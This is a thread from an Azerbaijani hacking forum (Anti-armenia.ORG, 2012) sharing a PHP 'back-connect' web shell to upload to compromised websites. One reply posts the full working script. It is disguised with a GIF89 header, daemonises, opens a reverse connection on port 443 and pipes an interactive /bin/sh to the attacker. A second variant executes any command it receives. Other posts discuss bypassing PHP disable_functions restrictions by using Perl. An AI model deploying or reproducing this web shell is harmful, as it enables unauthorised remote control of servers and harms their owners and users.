Anti-armenia.ORG - Forumlar - Back-connect edilmiyən Serverə Bağlanmaq



Istifadəçi
    2012-06-10 18:30 GMT                 

M4NY3T!K



Gold
Mesaj Sayı : 606
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Naxçıvan
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Back-Connect Edilmiyən Serverə Bağlanmaq üçün Lazım olan Aşağıdakı Kodu Php Şəklində Yaddaşa Verib
Serverdə olduğunuz yerə Upload Edib Saytın sonuna əlavə Etməkdir.
shell 80% Nəticə Verər İpi nizi Avtomatik olaraq alar 443 - cü Portdan Bağlantı Qurar.

Php Kod.


Kod:
GIF89;a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1254">
</HEAD>
<BODY>
<CENTER>
<?php 
$uname = php_uname();
echo "Uname -a :$uname";
?>
<br><br>
<a href="?BackConnect=PHP_1">PHP BackConnect 1</a>
&nbsp;&nbsp; <a href="?BackConnect=PHP_2">PHP BackConnect 2</a> 
<?php
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
$bc = $_GET["BackConnect"];
switch($bc){
case "PHP_1":

set_time_limit (0);
$VERSION = "1.0";
$ip = $_SERVER["REMOTE_ADDR"]; 
$port = 443;     
$chunk_size = 1400;
$write_a = null;

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-06-10 20:02 GMT                 

Avatar Fearless



VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-06-11 08:46 GMT                 

ikus4



VIP
Mesaj Sayı : 81
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : ikus4
Yaş :
Mesaj :

Mövzunu Paylaş!


Əgər shell-nən bağlana bilməmisənsə bu script-nən də bağlana bilməyəcəksən.
Onda nə üstünlüyü var bunun?

Anti-armenia.ORG
    

Istifadəçi
    2012-06-12 03:18 GMT                 

Mr.XHat



İstifadəçi
Mesaj Sayı : 6
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Tesakkurler
Yaxce birseide!
Yasha

Anti-armenia.ORG
    

Istifadəçi
    2012-06-13 01:27 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Bu skript yarım yarımçıqdır açığı deyim.Hardasa yəqin yarı copy/paste edilib ya da forumda skriptin yarısı düşmüyüb (post limit).
Bunun iş məğzi PHP fsockopen() istifadəyə əsaslanır və BOŞ bir şeydir.
Əsas elə real backconnectin üstünlüyü odurki Serverdə PHP nəbilim open basedir nə bilim disable function yəni bir sözlə permləri keçmək üçündür.
Səbəb də ondadır ki,PHP -yə sys adminlər settings verirlər disable functions və s. s.
Perl vasitəsilə backconnect etdikdə isə Perl-a bu PHP-dəki kimi "agraniçeniya" vermək olmur deyə (yoxdu elə br opsiya Perl üçün Perm-nan başqa onu da sysadmin verir chmod 500 və s. ki Perl işə düşməsin hər kimsə nəsə Perl-u işə sala bilsə misal üçün.Straxovka kimi).(Suexec də tətbiq oluna bilər Perm-a)
Yəni sözümün canı boş şeydir bu fsockopen() çünki PHP UİD /GİD check edir lap socket açsan da.Perl da isə belə şey yoxdur.

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-06-14 20:33 GMT                 

AzSecurity



Gold
Mesaj Sayı : 122
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : Linux sys admin
Yaş :
Mesaj :

Mövzunu Paylaş!


İşləyib işləmədiyini deyə bilmərəm ama scriptin tam forması aşağıdakı kimidir.

Kod:
GIF89;a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1254">
</HEAD>
<BODY>
<CENTER>
<?php 
$uname = php_uname();
echo "Uname -a :$uname";
?>
<br><br>
<a href="?BackConnect=PHP_1">PHP BackConnect 1</a>
&nbsp;&nbsp; <a href="?BackConnect=PHP_2">PHP BackConnect 2</a> 
<?php
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
$bc = $_GET["BackConnect"];
switch($bc){
case "PHP_1":

set_time_limit (0);
$VERSION = "1.0";
$ip = $_SERVER["REMOTE_ADDR"]; 
$port = 443;     
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
   
   $pid = pcntl_fork();
   
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   
   if ($pid) {
      exit(0);  // Parent exits
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }

   $daemon = 1;
} else {
   print("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
   // Check for end of TCP connection
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }

   // Check for end of STDOUT
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }

   // Wait until a command is end down $sock, or some
   // command output is available on STDOUT or STDERR
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

   // If we can read from the TCP socket, send
   // data to process's STDIN
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }

   // If we can read from the process's STDOUT
   // send data down tcp connection
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }

   // If we can read from the process's STDERR
   // send data down tcp connection
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
break;
case "PHP_2":
          $ipim=$_SERVER["REMOTE_ADDR"]; 
         $portum="443"; 
         if ($ipim <> "") 
         { 
         $mucx=fsockopen($ipim , $portum , $errno, $errstr ); 
         if (!$mucx){ 
               $result = "Error: didnt connect !!!"; 
         } 
         else { 
         
         $zamazing0="\n";
         fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
         fputs($mucx , system("uname -a") .$zamazing0 );
         fputs($mucx , system("pwd") .$zamazing0 );
         fputs($mucx , system("id") .$zamazing0.$zamazing0 );
         while(!feof($mucx)){   
         fputs ($mucx); 
        $one="[$";
        $two="]";
        $result= fgets ($mucx, 8192); 
        $message=`$result`; 
       fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); 
      } 
      fclose ($mucx); 
         } 
         } 

break;

}
?>
</CENTER>
</BODY>
</HTML>

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG